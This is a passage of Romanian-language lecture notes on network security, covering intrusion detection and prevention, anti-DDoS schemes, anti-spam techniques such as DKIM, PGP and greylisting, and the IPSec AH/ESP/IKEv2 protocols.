-o observatie a parametrilor (=variabile fuzzy) este considerata normala daca valorile sunt
intr-un interval prestabilit;

Algoritmi genetici
-algoritmi evolutivi (in faze: de mostenire, mutatie, selectie si recombinare) care au mai fost
numiti euristici de cautare statistica globala;
-construiesc prin derivare un model care consta dintr-un set de reguli de clasificare si/sau
selecteaza un subset de parametrii optimi care vor fi utilizati in procesul de detectie;

Clusterizare si detectia de „outliers”


-este cea mai populara tehnica de invatare nesupervizata (en. unsupervised learning);
-pp. in prima faza(invatare) gruparea parametrilor observati in clustere in functie de
distanta relativa dintre ei;
-in faza de detectie, de exemplu procedura poate consta in selectarea unui punct
reprezentativ pt. fiecare cluster si apoi fiecare set de parametrii (ii corespunde un punct)
observat este clasificat in functie de distanta fata de aceste puncte; ex. metoda KNN (K-nearest
neighbour) in mai multe variante: cu distanta Euclidiana, Mahalanobis, Manhattan, etc;
-parametrii care nu apartin la niciun cluster se numesc outliers si reprezinta anomalii in
procesul de detective (erori de detectie);

2.3 Sistemul de prevenire a intruziunilor (IPS)


-IPS este un IDS care actioneaza reactiv pe baza alarmelor emise de blocul analizor cu scopul de a
bloca/reduce atacurile detectate;
-dpdv functional IPS = IDS+Firewall;1
- raspunsul activ poate consta in realizarea urmatoarelor actiuni:
 terminarea de procese/sesiuni
 reconfigurarea sistemului de protectie proactiva
 deceptionarea atacatorului (redirectionarea atacatorului catre un sistem HoneyPot)

2.4. Tehnici, mecanisme si sisteme anti-(D)DoS


-pp. in principal atacuri de retea prin inundare si impersonarea originii atacului;
2.4.1 Metoda pentru identificarea atacatorului pe baza tehnicii de “traceback”
ICMP traceback [~S.Bellovin]: consta in transmisia statistica de pachete ICMP, la fiecare N
pachete (ex. la 20 000) utilizator catre destinatie; fiecare contine o parte a unui pachet capturat,
de ruterul aflat in calea spre destinatie;
Intrebare: care sunt dezavantajele acestei metode ?

1
exista comunitati de specialisti care includ IPS in categoria sistemelor Firewall;

21
2.4.2 Schema D-WARD [~Mirkovic]
O solutie cu aplicare la reteaua de origine, are ca obiectiv detectarea si combaterea atacurilor
inainte sau in timp ce traficul asociat paraseste reteaua de origine a agentilor de atac.
Este un sistem de tip inline (transparent utilizatorilor) care construieste statistici de trafic
per sens de transmisie, intre reteaua sursa si ruterul de margine (en. border router), pe care le
compara apoi cu modelele de trafic de retea construite pe baza specificatiilor de protocoale
si de aplicatii, pentru a pune in evidenta comportamentele normale (i.e. legitime), tranziente
(i.e. suspicioase) sau de atac
Pe baza unui mecanism pe trei niveluri (normal/benign, suspicios, atac), D-WARD
raspunde la atac prin limitarea ratei la nivelul ruterului asupra intregului trafic de iesire catre
o anumita destinatie, favorizand traficul considerat legitim, incetinind traficul suspicios si
reducand drastic rata traficului de atac.
D-WARD controleaza tot traficul (de atac+legitim) cu un nivel scazut de pierderi colaterale un
nivel redus de alarme pozitive false. La terminarea atacului reface imediat conditiile
normale de operare.
D-WARD necesita sa fie aplicat pe scara larga (pt. a acoperi majoritatea surselor) pentru a fi
eficace(putin probabil).

2.4.3 Secure Overlay Services -SOS [~Keromytis et al.]


-o retea pt. a ruta catre servere numai traficul considerat benign; un mijloc de a ascunde
identitatea/locatia potentialelor tinte; astfel, clientii trebuie sa utilizeze o retea overlay
pentru a putea fi autentificati si pentru a comunica cu serverele protejate;
-astfel, clientii trebuie mai intai sa contacteze niste puncte de acces ale retelei overlay –
gatekeepere care vor verifica legitimitatea fiecaruia inainte ca acesta sa poata accesa reteaua
SOS. Punctele de acces transmit pachetele de la utilizator catre un nod beacon (rutare Chord);
nodul beacon va determina unde vor merge pachetele mai departe in aceasta retea overlay.
Apoi, un nod beacon va transmite pachetele catre nodurile servlet secrete; nodurile servlet
sunt singurele din reteaua SOS care pot accesa sistemele firewall catre retelele destinatie cu
serverele protejate; servleturile secrete vor tunela pachetele catre firewall, care vor permite
numai pachetelor cu adresa sursa a servlet-urilor secrete sa ajunga in reteaua protejata;

-ca orice solutie localizata la tinta, nu este imun la atacurile prin inundare asupra firewall-
ului retelei protejate, in cazul in care este descoperit;
-restrictiile de rutare prin verificarea adresei sursa introduc latenta si cresc capacitatea de
procesare necesara in rutere.
-SOS necesita modificarea softului la clienti si implementarea SOS pe scara larga.
2.4.4 Proof of Work
-pp. atacul DoS prin epuizarea resurselor necesare pentru stabilirea conexiunilor;
vulnerabilitatea: asimetria in alocarea resurselor intre client si server;

22
-nu functioneaza in cazul atacurilor prin inundare de alt tip (ex. UDP flooding); pentru ca
orice masura ar lua acest sistem de protectie este tardiv odata ce pachetul a fost receptionat (i.e.
banda a fost deja consumata); in general, functioneaza numai pt. serviciile orientate pe
conexiune;

Metoda consta in transmisia de provocari catre clientii care intentioneaza sa stabileasca


conexiuni, intr-o maniera similara schemei NetBouncer, si apoi asteapta solutia de la acestia.
Daca clientul rezolva problema-provocare intr-o fereastra de timp, resursele sunt alocate. Daca
clientii nu rezolva corect problema-provocare, conexiunile vor fi terminate. Provocarea
nu trebuie sa poata fi reutilizata.
Aceasta functionare se desfasoara la nivelul TCP/IP, acolo unde se gasesc resursele
conexiunilor. Se poate considera ca provocare “Testul Turing Inversat”.
Prin aceasta metoda, se forteaza ca si atacatorul sa consume resurse (ex. timp) inainte de a
putea stabili o conexiune cu serverul;

2.4.5 DefCOM [~Mirkovic et al.]


-sistem distribuit care combina metodele de protectie localizate la sursa, la tinta si in corele
retelei;
-detectarea atacului si raspunsul prin limitarea ratei traficului suspect;

-3 componente functionale (pe host sau ruter): generator de alarme care detecteaza atacurile
(AG); limitator de rata (RL) pentru toate fluxurile catre serverul protejat; clasificator (CL)
care separa traficul legitim de cel suspicios si apoi marcheaza pachetele.

In cazul unui atac, generatorul de alarme detecteaza evenimentul la nivelul retelei tinta, iar
clasificatorul angajat va fi localizat langa reteaua de origine a atacului.

Sistemul DefCOM urmareste inapoi atacul de la tinta catre toate sursele de trafic active
(legitime sau de atac), cu ajutorul retelei overlay DefCOM si prin transferul de statistici
intre nodurile sistemului. Mecanismele de limitare a ratei sunt aplicate de la tinta catre
frunzele arborelui de trafic (clasificatorii din apropierea surselor).
Deci, ruterele din core trebuie sa aiba capabilitati de limitare a ratei pe baza marcajelor
pachetelor. Un clasificator (ex. clasificatorul D-WARD) va marca ca legitim traficul care este
considerat autorizat de catre tinta.
Datorita faptului ca DefCOM este implementat si in corele retelei, poate trata si atacurile
lansate din retele care nu sunt dotate cu clasificatori. Poate sa trateze si atacurile prin
inundare fara (sau putin) sa afecteze negativ traficul legitim.
Datorita structurii sale overlay, este un sistem scalabil si nu necesita implementarea continuua
in retea.

23
2.5. Tehnici anti-SPAM email
- cele mai multe dintre aceste tehnici au fost propuse de catre IETF WG Anti-Spam Research
Group;
- tehnicile care sunt prezentate in acest capitol pot fi aplicate in complementaritate;

2.5.1. Tehnici de filtrare pe baza identificatorului sursei


Filtrarea de catre MUA pe baza identitatii expeditorului
-sunt utilizate liste de filtrare “albe” sau “negre”. Unde: “lista neagra” contine adrese de email
malitioase, iar “lista alba” contine adrese de email de incredere;
Intrebare: se considera o forma de filtrare slaba; de ce ?

Filtrarea criptografica pe baza semnaturii digitale


-surselor de mesaje email (i.e. MUA, MTA) le este asociata o pereche de chei (cheie publica,
cheie privata);
-expeditorul va semna mesajele inainte de a fi transmise;
-receptorul mesajului va accepta mesajul numai daca semnatura este valida;
-ex. sistemul Domain-Keys (Yahoo) si descendentul sau DKIM [RFC6376], PGP, S/MIME;
- dezavantaj: necesita configurare pe toate sistemele implicate, probleme PKI;

Arhitectura DKIM (Domain Keys Identified Mail)


-servicii de securitate:
 autentificarea mesajelor(per domeniu/host) si integritatea mesajului (body+
campuri din antet: From, Data, Subject);

-poate fi transparent pt. receptori (vs. PGP, S/MIME); nu necesita implementare pe scara
larga in Internet; poate opera in conjuctie cu mecanismele anti-spam (ex. liste albe); poate opera
intr-o diversitate larga de locatii;
-mecanisme criptografice bazate pe semnatura digitala; suporta diversi algoritmi (set implicit
pt. garantarea interoperabilitatii);
-domeniul de origine(MTA)/host-ul(MUA)/releul MTA/mediator MUA(poate modifica
mesajul semnat si il retrs.) care semneaza are o pereche de chei asimetrice;

24
-tipic, cheia privata memorata pe serverul local MTA, cheia publica este distribuita prin
intermediul serviciului DNS(DNSSEC) ca un record de tip TXT; identificarea cheii
publice se face prin SDID+selector(pt ca un SDID poate fi asociat cu m.m. chei PK);
selectorul este specificat in email de tagul “s”;
-verificarea se poate face de catre MTA/MUA de destinatie (ex. Thunderbird add-on);

-semnatura este transferata in campul DKIM-Signature din antetul email; acest camp include
o referinta la domeniul DNS care distribuie cheia publica PK; pot fi prezente mai multe
semnaturi;
b ≔ {h(header_fields || h(body))}_SK

DKIM-Signature: v=1; a=rsa-sha256; d=example.net; s=brisbane;


c=relaxed/simple; q=dns/txt; l=1234; t=1117574938; x=1118006938;
h=from:to:subject:date:keywords:keywords;
bh=MTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTI=;
b=dzdVyOfAKCdLXdJOc9G2q8LoXSlEniSbav+yuU4zGeeruD00lszZVoG4ZHRNiYzR

Structura campului DKIM-Signature [Wikipedia, 2014]

-SDID(Signing Domain IDentifier)≔ numele de domeniu folosit ca identificator al unei


organizatii, prezent in campul cu tagul “d”; pot exista mai multi identificatori asociati unei
entitati; SDID poate fi utilizat si de mec. de mng de reputatie atunci cand destinatia doreste sa
evalueze nivelul de incredere al domeniului sursa;

Organigrama DKIM[RFC5585]

25
-Signing Practices(SP)≔ set de politici asociate cu un domeniu de origine care sunt stabilite
de catre destinatie pt a decide cum sa proceseze mesajele de la un anumit transmitator; sunt
gestionate atat de domeniul de origine (ex. daca se recomanda sau este obligatorie eliminarea
mesajelor nesemnate, daca originea a autorizat un releu sa genereze semnatura in locul sau) cat
si de cel de destinatie;

-filtrul de mesaje: drop or mark emails;


-modulul de evaluare: verifica politicile de semnare si poate contribui la managementul
reputatiei;

Protocolul Pretty Good Privacy (PGP)


- autor: Phil Zimmermann, 1991;
- utilizat pe scara larga: open-source, freeware, pe UNIX, Linux, Windows, Mac; ex.
OpenPGP, gPGP;
- servicii de securitate:
 confidentialitatea (CAST, IDEA, Twofish, 3DES, AES),
 autentificarea mesajului (MD5/SHA1+ RSA, DSA)
- alte servicii (secundare):
 compresie ZIP;
 codare BASE64;
 segmentarea/reasamblarea textelor P mari;
 managementul cheilor este “user-centric” pe baza relatiilor de incredere; distribuirea
se face discretionar intre utilizatori cu garantarea unui nivel de securitate corespunzator
(a.k.a. “web of trust”); fiecare entitate utilizator gestioneaza doua structuri de date:
inelul cheilor private (en. private keys ring) ale utilizatorului care contine mai multe
perechi (cheie private, cheie publica) ale utilizatorului, criptate cu o parola-fraza; inelul
cheilor publice (en. public keys ring) ale altor utilizatori; o pereche de chei este
identificata prin ultimii 64 de biti ai cheii publice; PGP, poate opera si cu certificate
PGP sau X.509;

Nota: PGP a mai fost propus pentru: protejarea fisierelor pe HDD si mesajelor VoIP/SIP;

26
DA

plaintext H E message authentication

plaintext Sign

Z compression

compressedtext
EB

E KS E encryption

compressedtext envlp

encoding
BASE64

E-mail
compressedtext envlp system

E-mail body

Sistemul criptografic PGP “sign-then-encrypt“” [WS99]

Session Key Signature Message

IDEB KS Head TS IDEA Alg. MD5 Head File TS message


er type Hash er name

EEB EDA
ZIP
EKS
BASE64

Structura mesajului PGP transferat de la A la B

Filtrarea prin identificarea MTA pe baza caracteristicilor


-este analoaga tehnicii OS/browser fingerprinting;
-caracteristicile sunt determinate de servicile care sunt operabile si de catre particularitatile
lor de implementare;

27
- raspunsurile MTA la pachete probe cu diverse solicitari (cu pachete corecte si defecte) sunt
analizate pentru a determina caracteristicile sale de unicitate;
-aceasta tehnica permite definirea amprentei unui MTA care este sursa de SPAM si apoi
clasarea lui intr-o “lista neagra”;

Filtrarea pe baza de “liste gri”


-analog unei “liste albe”, contine informatii de identificare a surselor de mesaje legitime; insa
initial, aceasta lista este vida;
- o inregistrare din aceasta lista are trei campuri principale:
 adresa expeditorului (S);
 adresa IP a serverului (MTA)la care este asociat expeditorul (I);
 adresa destinatarului (D);

-procedura: lista este completata pe masura ce noi informatii sunt invatate, astfel:
 la receptia unui mesaj, serverul destinatarului extrage tripletul (S,D,I) si verifica daca exista
deja in “lista gri”;
 daca nu exista, serverul destinatarului raspunde lui I cu mesajul de eroare “450 SMTP –
Temporary Rejected”;
 daca mesajul este retransmis, serverul destinatarului considera ca serverul expeditorului este
unul autorizat si nu exista o amenintare SPAM (de regula, aplicatiile de generare SPAM
incearca sa realizeze un debit cat mai mare, motiv pt. care ignora tratarea mesajelor de eroare);
 tripleta (S,D,I) corespunzatoare serverului expeditorului autorizat este adaugata la “lista gri”
-avantaj: cost redus de configurare, eficienta in operare;

Filtrarea pe baza autenticitatii originii sursei(necriptografica)


-de regula, utilizeaza un mecanism provocare-raspuns pt. a realiza aceasta verificare (ex.
CAPTCHA);
-initial, se pp. ca toate serverele de email sunt surse potentiale de SPAM;
-receptorul mesajului, transmite sursei mesajului o provocare. Daca raspunsul este corect,
atunci identitatea acesteia este adaugata intr-o lista alba. Provocarea este aleasa pentru ca
utilizatorii umani sa poata raspunde usor.

2.5.2 Tehnici de filtrare distribuita pe baza sumei de verificare (DCF-Distributed Checksum


Filtering)
-pp. ca atacurile SPAM se caracterizeaza prin distribuirea unui numar mare de copii ale
aceluiasi mesaj, intre mai multe servere MTA;
-filtrare independenta de catre fiecare MTA, pe baza unei liste negre sau gri;
-este o metoda de filtrare distribuita, astfel in principiu: atunci cand un subset dintre sistemele
email (i.e. MUA, MTA) claseaza un email ca fiind SPAM, acestea vor notifica subsetul
complementar de sisteme email asupra calitatii emailului.

1. Metoda “Vipul’s razor”: foloseste un mecanism de raportare (clasificare SPAM,


transferul sumelor de verificare) si de management de reputatie al MUA;
-MUA este inregistrat la un server “razor” pentru a putea transmite rapoarte de clasificare
SPAM si pt. managementul reputatiei;
-cand MTA receptioneaza un raport, va adauga la baza de date valoarea rezumat a mesajului
SPAM asociat;

28
-ulterior, cand MTA primeste un mesaj, va calcula valoarea rezumat si o va compara cu valorile
din baza de date; daca exista o valoare egala in baza de date va declara emailul ca fiind de tip
SPAM daca a fost deja clasificat astfel de catre ceilalti participanti;
-MUA are rol important in clasarea mesajelor, de aceea relatia de incredere intre MUA si
serverul “razor” este critica pt. aceasta solutie;
-de-a lungul timpului reputatia MUA poate sa varieze in functie de corectitudinea cu care se
realizeaza clasificarea mesajelor;

2. Metoda DCC (Distributed Checksum Clearinghouse)


-foloseste un sistem distribuit de punctare;
-un MTA calculeaza valoarea rezumat H pentru fiecare mesaj pe care il primeste si mentine un
numarator N care reprezinta numarul de copii ale valorii H pe care le primeste;
-un server MTA distribuie tuplul (H, N) catre toate celelalte servere MTA;
-o valoare N mare arata ca mesajul asociat (via H) este SPAM;

2.5.3. Tehnici de filtrare pe baza interpretarii continutului mesajului


-este cea mai utilizata tehnica;
-consta in scanarea si interpretarea continutului mesajelor pentru a determina daca are
caracteristicile unui mesaj de tip SPAM;
-cea mai populara metoda este analiza bayesiana (o analiza statistica pt. a determina
probabilitatea ca un mesaj sa fie SPAM);
-ex. de parametrii pt. determinarea mesajelor SPAM: setul de cuvinte, paternurile de cuvinte,
frecventa cuvintelor;
-in plus, se poate utiliza o baza de date preconfigurata sau care se poate completa automat pe
masura ce noi caracteristici SPAM sunt invatate (inclusiv cu contributia MUA).

3. Servicii generice de securitate pentru retelele TCP/IP


-sunt servicii care au fost folosite in toate planurile arhitecturale ale retelelor pentru
comunicatii: date, control si management;

3.1 Protocolul IPSec

Aspecte generale
Obiective: servicii de securitate pentru traficul de date la nivel IP (IPv4 si IPv6) :
- controlul accesului (implicit prin verificarea autenticitatii);
- integritate la nivel datagrama (continut sau tranzactie);
- autentificarea originii datelor;
- confidentialitate (continut sau identitate)

- “backward compatible” cu nodurile de retea care nu suporta aceste servicii.

Principalele componente ale arhitecturii IPSec [RFC2401]:


 protocoale de securitate (ex. AH [RFC 2402], ESP [RFC 2406]);
 asocieri de securitate (i.e. SA) si baze de date de SA-uri si de politici;
 management de politici si de suite criptografice;

29
 management de chei (ex. IKE [RFC 2409], IKEv2[RFC7296);
 algoritmi criptografici (ex. 3DES, AES, HMAC-SHA1, …)

Servicii AH[RFC2402] : integritate la nivel pachet, autentificarea originii datelor, protectie


anti-repetitie (optional);

Servicii ESP[RFC2406]: confidentialitate (optional) + serviciile AH (optional);

Obs: AH este potrivit atunci cand nu se poate aplica criptarea (pb. export algoritmi); ESP nu
poate omite ambele servicii simultan (i.e. confidentialitate si autenticitate); IPSec poate utiliza
in orice combinatie protocoalele AH si ESP;

Telnet, FTP, HTTP,


SMTP
TCP, UDP

IPSec
IP
Layer 2

Figure 1: Internet Protocols’ Stack Architecture with IPSec

Actiuni ale IPSec asupra pachetelor:


- securizare IPSec pachet,
- eliminare pachet,
- bypass IPSec;

Asocieri de securitate (SA): defineste o “conexiune” unidirectionala pentru a suporta mai


multe tipuri de servicii de securitate, pentru fluxul asociat;
- serviciul de securitate oferit de un SA depinde de: protocolul selectat, modul SA, tipul
capetelor SA-ului (host, gateway), alti parametrii negociati;
- se vor stabili doua SA-uri pentru a oferi servicii de securitate bidirectionale;
- un SA este identificat de: index de parametru de securitate (SPI), adresa IP destinatie,
identificator protocol de securitate (AH sau ESP) ;

Pentru procesarea traficului IP pe baza de SA-uri sunt utilizate doua baze de date:
 Security Policy Database (SPD) = specifica un set de politici ce se vor aplica traficului IP
de intrare si/sau iesire (adica ce servicii se vor aplica si in ce mod);
 Security Association Database (SAD) = contine parametrii de securitate asociati cu un
canal de comunicatie unidirectional de nivel trei;

SPD(Security Policy Database): reprezinta o lista ordonata de reguli (politici); o regula SPD
specifica selectorii de trafic pe baza parametrilor din antetul de nivel 3 (IP) si/sau de nivel 4
(TCP, UDP); utilizat pentru a mapa traficul la un SA sau CSA;
 fiecare regula defineste un set de selectori pentru a se referi la un anumit flux de trafic IP;

30
 o regula specifica: un SA, un protocol IPSec, modul de lucru al protocolului IPSec,
algoritmii criptografici, cerinta de incuibare (AH in ESP, s.a.m.d);
 tipuri de selectori: domeniu (numai adrese IP), wildcard (este posibila suprapunere cu alti
selectori => este importanta ordonarea regulilor pentru ca procesarea SPD sa fie
determinista); deci,
 SPD precizeaza ordinea in care se aplica SA-urile;
 SPD controleaza tot traficul dintr-un sistem IPSec (inclusiv traficul pentru management
de chei/securitate);
 se consulta pentru fiecare datagrama IP (inclusiv pt. datagrame non-IPSec) de intrare sau
iesire;
 regulile precizeaza una din cele trei operatii posibile asupra unei datagrame (eliminare,
bypass, procesare IPSec);
 administrare manuala de administrator, utilizatori sau direct de catre o aplicatie;

SAD (Security Association Database): fiecarui SA ii corespunde o inregistrare in SAD; o


astfel de inregistrare este compusa dintr-un set de parametrii;
 la aplicarea mecanismelor IPSec (en. outbound processing): inregistrarile din SAD
sunt referite de regulile din SPD;
- transmitatorul verifica valoarea parametrilor SA-ului cu valorile din pachet pentru
conformitate
 la eliminarea mecanismelor IPSec (en. inbound processing): inregistrarile din SAD se
vor indexa prin tripletul <Destination IP address, IPSec protocol type, SPI>. Unde:
Destination IP address: al antetului din exterior datagramei, in format IPv4 sau IPv6;
IPSec protocol: ESP sau AH; SPI: valoare random unica pe 32 biti
- receptorul, prin verificarea completa a campurilor dintr-un pachet cu parametrii unui SA
din SAD (identificat prin SPI), demonstreaza ca pachetul este conform si ca acel SA va fi
utilizat pentru procesarea pachetului

 parametrii unui SA:


- contor de secventa (en. sequence number counter): pe 32 biti in antetul AH si ESP;
- flag depasire (en. sequence counter overflow): un flag pentru a indica cand contorul de
secventa a atins limita domeniului de valori (pentru a genera un eveniment sau pentru a
opri transmisia altor pachete);
- fereastra “anti-replay”: pe 32 biti, se aplica pe traficul “inbound”; functia anti-replay
poate fi dezactivata;
- algoritmul si cheia AH de autentificare;
- algoritmul si cheia ESP de criptare ;
- algoritmul si cheia ESP de autentificare;
- durata de viata al SA: este intervalul de timp dupa care un SA trebuie inlocuit cu un nou
SA, sau terminat. Se poate exprima in:
 unitati de timp;
 octeti: este posibila desincronizarea intre transmitator si receptor datorita pierderilor
pachetelor;
 unitati de timp si octeti (are precedenta primul care expira)
- modul IPSec de lucru: tunel, transport sau wildcard; pentru wildcard, aplicatia va trebui sa
precizeze unul din modurile: tunel sau transport (poate fi diferit per pachet);
Nu este necesar ca receptorul sa cunoasca modul de lucru, pentru a putea procesa pachetul
IPSec

31
 MTU de cale (en. Path MTU)

Nota: mecanismele sunt proiectate sa fie independente de algoritmi(+un set standard implicit
specificat pt. interoperabilitate);

Moduri de operare ale protocoalelor AH, ESP:


- modul transport = protectie pt. protocoalele de la nivelurile superioare;
- modul tunel = protectie completa pt. pachetele IP;

- transport (de regula, un SA intre doua hosturi):


 ESP ofera servicii de securitate numai pentru nivelurile superioare;
 AH ofera servicii de securitate inclusiv peste: portiuni din antetul IP, portiuni din
extensia antetului sau anumite optiuni din antet;
Original Original
AH ESP ESP
IP IP
header header trailer
HEADER PAYLOAD

Encrypted
Authenticated
Figure 2: IPsec datagram in transport mode

- tunel: in toate cazurile cand un capat al SA este un gateway de securitate (este posibil si intre
doua hosturi):
 ESP ofera servicii de securitate pentru nivelurile superioare inclusiv pentru antetul
IPoriginal (for inner header, not for outer header);
 AH ofera servicii de securitate inclusiv pentru noul antet IP ;

IPsec
IPsec GW 2
GW 1

VPN 1 IPsec
VPN 1
Tunnel

New Original Original


AH ESP ESP
IP IP IP
header header trailer
HEADER HEADER PAYLOAD
Authenticated
Encrypted
Authenticated

Figure 3: IPsec datagram in tunnel mode

Managementul SA si de chei: protocoalele IPSec sunt independente functional de


managementul de chei sau a SA-urilor
 manual: nescalabil, se aplica in retele mici statice; se configureaza in general un set de chei
simetrice pre-partajate;

32
 automat: necesita un protocol de management scalabil, standardizat; protocolul implicit
utilizat de IPSec este IKE; crearea SA se poate face la cerere pentru a suporta securitatea
orientata pe utilizator sau pe sesiune. Prin reactualizarea cheii (a.k.a. rekeying) se intelege
crearea unui nou SA cu un nou SPI. Rezultatul unui protocol de management de chei poate
fi utilizat pentru generarea mai multor chei in functie de tipul si numarul de algoritmi de
criptare/autentificare implicati de IPSec

3.1.1 Protocolul AH
Obiective:
- integritate si autentificarea originii la nivel de datagrama IP; acopera o parte din antetul
IP (exceptie campurile modificabile in tranzit) si integral datele de la nivelul superior;
- protectie la atacuri prin repetitie (la discretia destinatarului in faza de stabilire SA);

Figure 4: AH Header

Antetul AH: identificabil prin codul 51, in antetul precedent (IPv4, campul “Protocol”, IPv6
campul “Next Header”); pentru IPv6, AH este un antet de extensie;
Semnificatia campurilor:
”Next Header” – precizeaza protocolul incapsulat (urmator)
”Payload length” – lungimea antetului AH in multiplu de 32 biti
”Rezervat” – neutilizat, implicit valoarea zero, intra in calculul ICV (Integrity Check Value);
”Security Parameter Index (SPI)” – valoare aleatoare pe 32 biti (valorile 1 la 255 sunt
rezervate), este utilizat impreuna cu adresa destinatie si identificatorul de protocol IPSec pentru
a identifica unic un SA;
”Sequence Number” - o valoare monoton crescatoare pe durata unui SA; mecanism utilizat
de serviciul anti-replay, nu trebuie sa cicleze; pentru verficare contorul transmitatorului si al
receptorului este initializat la zero, in momentul stabilirii SA; dupa transmisia a 2 32 datagrame
contorii se reseteaza si se stabileste un nou SA;
”Authentication Data” – contine valoarea ICV (Integrity Check Value) pentru aceasta
datagrama; are lungime variabila; se padeaza la multiplu de 24 (IPv4)/64(IPv6) octeti;

Pozitionarea antetului AH: (ca si ESP) poate fi utilizat in modul: transport (numai hosturi)
sau tunel (hosturi sau gateway de securitate). Este plasat inaintea oricarui alt antet IPSec ori de
nivel superior.

33
3.1.2 Protocolul ESP
Servicii:
 confidentialitate,
 autentificarea originii datelor,
 integritate la nivel datagrama (“fara conexiune”),
 protectie anti-replay (sub forma garantarii integritatii unei secvente),

Figure 5: ESP Header and Trailer

Nota: nu este recomandata utilizarea serviciului de confidentialitate in absenta serviciului de


integritate/autentificare datorita vulnerabilitatii la anumite atacuri active. Serviciul pentru
autentificarea originii datelor/integritate sunt referite impreuna ca serviciu pentru
autentificare). Selectarea serviciului anti-replay este la discretia receptorului, fiind valabil
numai in conjunctie cu serviciul de autentificare a originii datelor; desi, in mod implicit,
transmitatorul incrementeaza contorul de numere de secventa. Modul tunel este recomandat
pentru garantarea caracterului privat si pentru posibilitatea de agregare fluxurilor de date.

Antetul ESP: identificabil in antetul IPv4 sau IPv6 precedent prin valoarea 50 a campului
Protocol respectiv Next_Header; in cazul in care vectorul de initializare (IV) este inclus in
payload, in general, acesta n u se va cripta.

Campul SPI (32 de biti): in combinatie cu adresa IP destinatie si identificatorul de protocol


ESP se utilizeaza pentru a determina in mod unic SAul corespunzator acestei datagrame;
(intervalul 1-255 rezervat, valoarea zero este rezervata pentru utilizare locala, nu se va
transmite in retea); SPI este selectat de catre destinatie in faza de stabilire a SAului, fiind un
camp obligatoriu.
Campul Numar de Secventa (32 de biti): contor monoton crescator, fiind un camp
obligatoriu, chiar daca destinatia nu a selectat utilizarea serviciului anti-replay (procesarea
acestui camp este la discretia destinatarului, standardul specifica ca sursa sa transmita
intotdeauna acest camp); Contorii corespunzatori sursei si destinatiei sunt initializati cu
valoarea zero in faza de stabilire a SAului; in cazul in care serviciul anti-replay este activ
(implicit), atunci transmitatorul trebuie sa asigure ca numarul de secventa nu cicleaza; cand
contorul realizeaza un ciclu (e.g. 232) transmitatorul si receptorul trebuie sa reseteze contorii si
sa negocieze un nou SA (sau o noua cheie).
Campul payload (lungime variabila, in octeti): contine tipul de date specificat in campul
“Next Header”; este un camp oligatoriu; daca algoritmul de criptare necesita un IV (per pachet)
atunci acesta este incapsulat in mod explicit in acest camp. In acest caz, algoritmul de criptare

34
trebuie sa precizeze lungimea IV si locatia sa in payload, pe baza unui RFC special, care
specifica cum va fi utilizat acest algoritm impreuna cu protocolul ESP; daca IV, este implicit,
atunci RFCul va specifica algoritmul prin care acesta va fi derivat;

Padarea (in vederea criptarii): este un camp optional; se pot adauga intre 0 si 255 de octeti;
toate implementarile trebuie sa suporte aceasta functionalitate;

Campul Lungime Pad (obligatoriu): numar de octeti de umplere (max 256);

Campul Next Header (obligatoriu): de 8 biti, precizeaza tipul de date din payload;

Campul Authentication Data (optional): are lungime variabila, implicita dupa algoritmul de
autentificare utilizat; reprezinta un ICV, calculat peste pachetul ESP mai putin acest camp;
algoritmul de autentificare trebuie sa specifice lungimea ICV si procedura de validare.

Algoritmi: exista un set de algoritmi de criptare implicit suportat de toate implementarile;


chiar daca ambele servicii de confidentialitate si de autentificare sunt optionale, la un moment
dat cel putin unul este activat;
 algoritmii de criptare: sunt algoritmi de criptare simetrici, algoritmul este
specificat de SA
 algoritmii de autentificare: algoritmul este specificat de SA. Pentru comunicatii
punct-la-punct se utilizeaza algoritmi criptografici de tip H/CMAC construiti cu
algoritmi de criptare simterici (e.g DES) sau cu functii hash neinversabile (e.g .
MD5, SHA-1);

3.1.3 Protocolul IKEv2[RFC7296]


Obiectiv: autentificarea mutuala a entitatilor si gestionarea asocierilor de securitate SA (i.e.
(re)negociere parametrii de securitate);
-opereaza peste UDP;

Nota:
- nu este compatibil cu IKEv1;
- aceleasi obiective ca si IKEv1 + repudiere (pt. garantarea caracterului privat, i.e. un
serviciu de anonimizare);
- elimină unele vulnerabilitati ale IKEv1, precum: atacul prin reflexie sau compromiterea
anonimitatii identitatii initiator prin simpla disimulare a entității server de-a lungul primelor
două tranzacții;
- IKEv2 are un numar total de tranzacții mai mic si poate garanta un nivel de securitate mai
ridicat;

Descriere:
- faza initiala este formata din doua tranzactii: IKE_SA_INIT și IKE_AUTH; scopul: de a
creea un canal securizat IKE_SA pentru a proteja mesajele tranzacțiilor din faza următoare
(i.e. CREATE_CHILD_SA, INFORMATIONAL) dar si primul CHILD_SA;
- tranzactia IKE_SA_INIT: stabilirea parametrilor de securitate (i.e. suita
criptografica: algoritmul de criptare(ex. 3DES_EDE_CBC, AES128_CBC,
AES256_CTR, AES256_CCM_96, AES256_GCM_64, …), algoritmul de

35
integritate(ex. NONE, HMAC_MD5, HMAC_SHA1, HMAC_SHA512_256,
AES_CMAC_96, AES_XCBC_96, AES128_GMAC,…), funcția pentru
derivarea cheilor (ex. PRF_HMAC_MD5, PRF_HMAC_SHA1,
PRF_HMAC_SHA512, PRF_AES128_XCBC, PRF_AES128_CMAC, …) si
grupul Diffie-Hellman(ex. modp768, modp8192, ecp521, ) -DH), transferul
cheilor publice DH(KEi=gx mod p, KEr=gy mod p) si al parametrilor de tip
“Nonce” (Ni/r); poate fi iterata de mai multe ori;
- tranzactia IKE_AUTH: realizeaza autentificarea entitatilor si verificarea
integritatii parametrilor negociati in tranzactia IKE_SA_INIT, sunt
transferate certificatele de chei publice CERT (optional, lista de entitati CA
de incredere), selectorii de trafic TSi/r, dar si identitatile celor doua entitati cu
garantii de anonimitate;

- tranzacția CREATE_CHILD_SA, poate fi iterată de mai multe ori pe durata unei sesiuni,
pentru reactualizarea unui CHILD_SA sau a unui IKE_SA (implicit pentru
reautorizare) sau pentru stabilirea mai multor canale de securitate CHILD_SA;
- tranzactia INFORMATIONAL sunt utilizate in gestionarea unui SA (stergere a unui SA,
“heartbeat”, notificare alerte); poate fi iterata de mai multe ori.

Iniţiator Responder

“Responder”
HDR(SPIi, MsgID, …),
IKE_SAi, KEi, Ni IKE_SA_INIT
HDR(SPIi, SPIr, MsgID),
IKE_SAr, KEr, Nr, [CERTREQ]

HDR, {{IDi, [CERTi,] [CERTREQ,] [IDr,] AUTHi, CHILD_SAi, TSi, TSr }SK_ei}SK_ai

HDR, {{IDr, [CERTr,] AUTHr, CHILD_SAr, TSi, TSr }SK_er}SK_ar


IKE_AUTH
